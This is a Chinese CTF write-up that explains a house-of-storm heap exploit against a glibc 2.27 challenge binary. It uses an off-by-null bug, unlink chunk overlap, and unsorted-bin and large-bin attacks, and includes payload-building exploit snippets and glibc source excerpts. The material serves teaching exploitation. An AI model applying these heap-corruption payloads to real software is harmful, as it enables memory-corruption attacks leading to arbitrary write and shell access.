利用mallopt函数将fastbin关闭,并且通过mmap函数分配一段地址空间,空间的范围为0x13370000-0x13371000,通过fd=open("/dev/urandom",0)去获取随机数,并往0x13370800地址开始写入24个字节。
for循环是将mmap开辟的地址填充随机数异或后的结果。
输入的size值的范围为0xc-0x1000,并且得到的堆块地址以及输入的size会通过异或再存入mmap的地址段中。
show函数打印有前提条件,因此程序刚开始是不可以输入信息的,需要修改后才能输出。
edit功能,输入的size值只能是add时填入的size-0xc,因为这0xc的空间会被自动填入数据,但是却额外的填入了0字节,造成了off-by-null的漏洞。
mallopt
mmap
unlink
unsortbin
int mallopt(int param,int value)
param的取值可以为
M_MMAP_MAX用于设置进程中用mmap分配的内存块的最大限制,默认值为64K。如果将M_MMAP_MAX设置为0,ptmalloc将不会使用mmap分配大块内存。
用于设置mmap阈值,默认值为128K,ptmalloc默认开启动态调整mmap分配阈值和mmap收缩阈值。
当用户需要分配的内存大于mmap分配阈值,ptmalloc的malloc()函数其实相当于mmap()的简单封装,free函数相当于munmap()的简单封装。相当于直接通过系统调用分配内存,回收的内存就直接交还给操作系统。因为大块内存不能被ptmalloc缓冲管理,不能重用,所以ptmalloc也只有在不得已情况下使用该方式分配内存
mmap分配的好处
mmap分配的坏处
因此mmap来分配长生命周期的大内存块是嘴好的选择,其他情况下都不太高效。
mmap的空间可以独立从系统中分配和释放的系统,对于长时间运行的程序,申请长生命周期的大内存块就很适合。
mmap的空间不会被ptmalloc所在缓冲的chunk中,不会导致ptmalloc内存暴增。
对于有些系统的虚拟地址空间存在洞,只能使用mmap()进行分配内存,sbrk()不能运行。
内存不能被ptmalloc回收再利用
会导致更多的内存浪费,因为mmap需要按页对齐。
分配效率跟操作系统提供的mmap()函数的效率密切相关,Linux系统强制把匿名mmap的内存物理页请0.
用于设置mmap收缩阈值,默认值为128KB
用于设置fastbins保存chunk的最大大小,默认为64B最大可以设置为80B,若设置为0,则表示不使用fast bins
M_MXFAST
M_TRIM_THRESHOLD
M_MMAP_THRESHOLD
M_MMAP_MAX
#ifndef M_MXFAST # define M_MXFAST 1 /* maximum request size for "fastbins" */ #endif int __libc_mallopt (int param_number, int value) { mstate av = &main_arena; int res = 1; if (__malloc_initialized < 0) ptmalloc_init (); __libc_lock_lock (av->mutex); LIBC_PROBE (memory_mallopt, 2, param_number, value); /* We must consolidate main arena before changing max_fast 5149 (see definition of set_max_fast). */ malloc_consolidate (av); switch (param_number) { case M_MXFAST: if (value >= 0 && value <= MAX_FAST_SIZE) { LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ()); set_max_fast (value); } else res = 0; break; case M_TRIM_THRESHOLD: do_set_trim_threshold (value); break; case M_TOP_PAD: do_set_top_pad (value); break; case M_MMAP_THRESHOLD: res = do_set_mmap_threshold (value); break; case M_MMAP_MAX: do_set_mmaps_max (value); break; case M_CHECK_ACTION: do_set_mallopt_check (value); break; case M_PERTURB: do_set_perturb_byte (value); break; case M_ARENA_TEST: if (value > 0) do_set_arena_test (value); break; case M_ARENA_MAX: if (value > 0) do_set_arena_max (value); break; } __libc_lock_unlock (av->mutex); return res; }start:映射区的开始地址,设置为0时表示由系统决定映射区的起始地址
length:映射区的长度。以字节为单位
prot:期望内存保存标志,不能与文件的打开模式重读
PROT_EXEC:页内容可以被执行
PROT_READ:页内容可以被读取
PROT_WRITE:页可以被写入
PROT_NONE:页不可被访问
flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下选项的组合
MAP_FIXED:使用指定的映射其起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。
MAP_SHARED:与其他所有映射这个对象的进程共享映射空间。对共享区的写入,相当于输出到文件。直到msync()或者munmap()被调用,文件实际上不会被更新。
MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。
MAP_DENYWRITE //这个标志被忽略。
MAP_EXECUTABLE //同上
MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。
MAP_LOCKED //锁定映射区的页面,从而防止页面被交换出内存。
MAP_GROWSDOWN //用于堆栈,告诉内核VM系统,映射区可以向下扩展。
MAP_ANONYMOUS //匿名映射,映射区不与任何文件关联。
//MAP_ANONYMOUS的别称,不再被使用。
MAP_FILE //兼容标志,被忽略。
MAP_32BIT //将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。
MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。
MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。
fd:有效的文件描述词。一般是由open()函数返回,其值也可以是为-1,此时需要指定flags参数中的MAP_ANOP,表明进行的是匿名映射。
off_toffset:被映射对象内容的起点。
利用/dev/urandom文件创建随机数
源码截取自glibc-2.27/malloc/malloc.c:3729
利用off-by-null 漏洞,实现chunk shrink
add(0x28)#0 add(0xaa0)#1 利用Off-by-null的漏洞,实现堆块的收缩,完成堆块的重叠 add(0x80)#2 该堆块的prev_size会为0xab0且不会被修改 add(0x80)#3 防止与top chunk合并 edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))#设置prev_size域绕过unlink检测 delete(1) edit(0,0x28-0xc,'a'*(0x28-0xc))#触发off-by-null漏洞 add(0x80)#1 add(0x420)#4 add(0x80)#5 add(0x410)#6 add(0x80)#7 # trigger unlink delete(1) delete(2)#触发unlink,完成堆块的堆叠**这里解释下edit的原因**
edit(1,0xa00-0x8,'a'*(0xa00-0x10)+p64(0xa00))off-by-null之前
off-by-null之后
由于off-by-null的原因,size域的最低字节被0字节覆盖了
add(0x80)#1 add(0x420)#4 add(0x80)#5 add(0x410)#6 add(0x80)#7此时需要将unsortbin的空闲chunk申请出来,为什么这样申请,后续有说明。当申请堆块时,由于fastbin,smallbin都没有符合要求的堆块,因此会遍历unsortbin找到是否有合适的堆块,没有则断开双链,将unsortbin里面的堆块放到合适的bin里面,而此时位于unsortbin里的空闲chunk的大小为0xa00,是属于largebin里的,因此会先将空闲chunk放进largebin中,再通过unlink操作从largebin中分隔适合的堆块出来。翻看一下源码。
从unsortbin解链,放进largebin中
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; //unsortbin的bk指针指向倒数第二个堆块 bck->fd = unsorted_chunks (av); //倒数第二个堆块的fd指针指向unsortedbin //把unsortbin的最后一个堆块取出来 ...... victim->fd_nextsize = victim->bk_nextsize = victim; //vitctim为从unsortbin中取出的堆块从largebin中申请堆块
if ((victim = first (bin)) != bin && (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断largebin是否为空以及判断请求的size是否小于largebin中最大块的size { victim = victim->bk_nextsize; //通过bk_nextsize指针遍历,从小到大找堆块 while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) //直到找到的堆块size值大于或等于请求的size值 victim = victim->bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && victim->size == victim->fd->size) //若申请的chunk存在着多个结点,则申请结点,而不申请堆头 victim = victim->fd; remainder_size = size - nb; unlink (av, victim, bck, fwd); //unlink操作取出堆块可以发现从largebin取出堆块是通过unlink操作的,那么我们就需要绕过unlink检测
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) //检查P堆块的size域与P的下一个堆块的prev_szie域是否一致 malloc_printerr ("corrupted size vs. prev_size");这里的p堆块即需要取出的largebin,在unlink的第一个条件是需要判断当前堆块的size域与下一个堆块的prev_size域是否一致。
若我们不eidt去伪造prev_size域则可能造成
可以发现与unlink第一个判断条件的报错输出一致,即没有绕过unlink的检测,因此edit是为了构造
(chunksize(P) == prev_size (next_chunk(P))构造两个largebin大小的堆块
add(0x80)#1 add(0x420)#4 add(0x80)#5 add(0x410)#6 add(0x80)#7这里我们需要构造两个largebin大小的堆块,用于后续的操作。
触发unlink
delete(1) delete(2)由于通过off-by-null的漏洞将堆块的size收缩了,但是由于空闲块的管理机制,被释放掉的堆块的下一个堆块的prev_size域会记录其大小,因此触发unlink可以实现堆块的堆叠
接着触发unlink
实现了堆块的堆叠
首先通过刚刚排好的堆块实现,unsortbin与largebin的攻击,而且unsortbin堆块的大小需要比lagrebin堆块的更大。
首先伪造unosrtbin堆块的bk指针,使得可以完成任意地址堆块分配
#unsortchunk payload = 'a'*0x80+p64(0)+p64(0x431) payload += p64(0)+p64(mmap_addr)回头看看源码
if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); #if USE_TCACHE ..... else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p;若我们申请的size与unosrtbin中的堆块的size值一致,则直接取出
unsortchunk为一开始我们放入unsortbin的chunk,修改bk指针使得它指向我们想要获得的chunk
在unsortbin第一次遍历时,我们放入unsortbin中的chunk会被断开双链并放入largebin中,并且target_chunk会成为unsortbin的bk指针指向的chunk,并且在第二次遍历时,由于我们申请的chunk与target_chunk的size值一致,因此我们会直接取出target_chunk,达到了任意堆块的分配,那么想要完成这种攻击则需要伪造target_chunk的size值。
利用largetbin的攻击,伪造target_chunk的size值与target_chunk的bk指针
#largechunk payload += 'a'*(0x420-0x10) payload += p64(0)+p64(0x91) payload += 'a'*0x80 payload += p64(0)+p64(0x421) payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize首先是伪造target_chunk->bk指针
payload += p64(0)+p64(mmap_addr+8)#lagrgebin->bk回过头看下largebin是如何从unsortbin中放入largebin的
else { //否则vitcim自己成为堆头 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; //fwd为控制的堆块 } ..... mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;victim为我们从unsortbin取出来的unsortchunk,fwd为我们放进largebin中的largechunk
bck = fwd->bk; //即bck = largechunk->bk .... bck->fd = victim;//bck->fd = unsortchunk_addr再将unsortchunk放入lagrgebin的链表中时,需要访问largechunk的bk指针指向的内容,因此largechunk->bk指针指向的地址必须是有效的。
第二需要注意的点,当我们需要从unsortbin的链表中直接获取堆块时,需要注意要通过unsortbin的检测
unsorted_chunks (av)->bk = bck; //bck指的是target_chunk->bk //unsortbin的bk指针指向倒数第二个堆块 bck->fd = unsorted_chunks (av); //需要访问到target_chunk->bk->fd,因此target_chunk->bk需要是有效地址可以看到当我们需要取出target_chunk时,会需要访问到target_chunk->bk指针指向的地址,因此该地址也必须有效,否则会报错。借助
bck->fd = victim;//bck->fd = unsortchunk_addrbck为我们伪造的largechunk的bk指针,若我们将该bk指针伪造为target_chunk+8则
(target_chunk+8)->fd = target_chunk->bk = victim //成功将target_chunk->bk指针指向有效地址伪造target_chunk的size域
payload += p64(0)+p64(mmap_addr-0x18-5)#largebin->bk_nextsize回顾从unsortbin解除链接,放入largebin的过程
//victim为unsortchunk //fwd为largechunk victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; //fwd->bk_nextsize是我们伪造的地址,并且将该地址赋值给unsortchunk->bk_nextsize fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize已经被赋值为我们伪造的地址即fake_addr //将unsortchunk的地址赋值给fake_addr->fd_nextsize可以看到我们伪造的bk_nextsize的值,可以被unsortchunk的地址所赋值,我们目标是将target_chunk的size域给修改成我们希望的值,由于程序开启了pie,当开启pie时堆块的地址的最高字节一般为0x55或0x56,那么我们只需要将堆块的高字节部分被填写入targetchunk的size域则完成size域的伪造则
//fake_addr的值为victim->bk_nextsize,即为fwd->bk_nextsize,即为我们伪造的bk_nextsize fake_addr -> fd_nextsize = victim; //伪造targetchunk的size域 target_chunk - 0x18 - 5 = victim;`target_chunk-0x18是使得victim->bk_nextsize落于targetchunk的size域,由于堆块为6个字节,因此要将使得最高字节落入size域需要再-5,便可将堆块的最高字节落入size域,使得targetchunk的size域为0x55或0x56`,这里注意小端模式。
但是需要堆块的高字节为0x56才能申请成功,这是因为
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim)));程序会通过标志位判断该堆块是否为mmap申请而来。
伪造后的堆块
当我申请成功后,就获得了在mmap地址段写能力,也就能够完成任意地址写了,这里需要注意的是,由于我们将mmap的地址放入unsortbin地址取出,此时mmap的fd与bk指针会被修改为main_aren与堆块地址,即异或随机数被修改为main_arean与堆块地址了
接着修改后续内容使得程序的show功能启用,利用任意地址写进而getshell
如果大家想要尝试远程的可以去https://buuoj.cn/里面有许多往年的原题,是个很好的做题网站
这是一道用于学习house of storm的题目,这道题目涉及的知识点较多unsortbin的循环取出,unlink操作,chunk overlapping等等,可以多看看源码并且对知识做一个归纳总结。
相关实验:
通过write实现信息泄漏
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814115000001
(介绍信息泄露、GOT、PLT等相关概念,着重讲解信息泄露在缓冲区溢出中的重要作用,为你揭开CTF PWN题目提供的libc.so.6文件的神秘面纱。)
欢迎投稿至邮箱:edu@heetian.com
有才能的你快来投稿吧!
投稿细则都在里面了,点击查看哦
重金悬赏 | 合天原创投稿涨稿费啦!
点击这里提升自己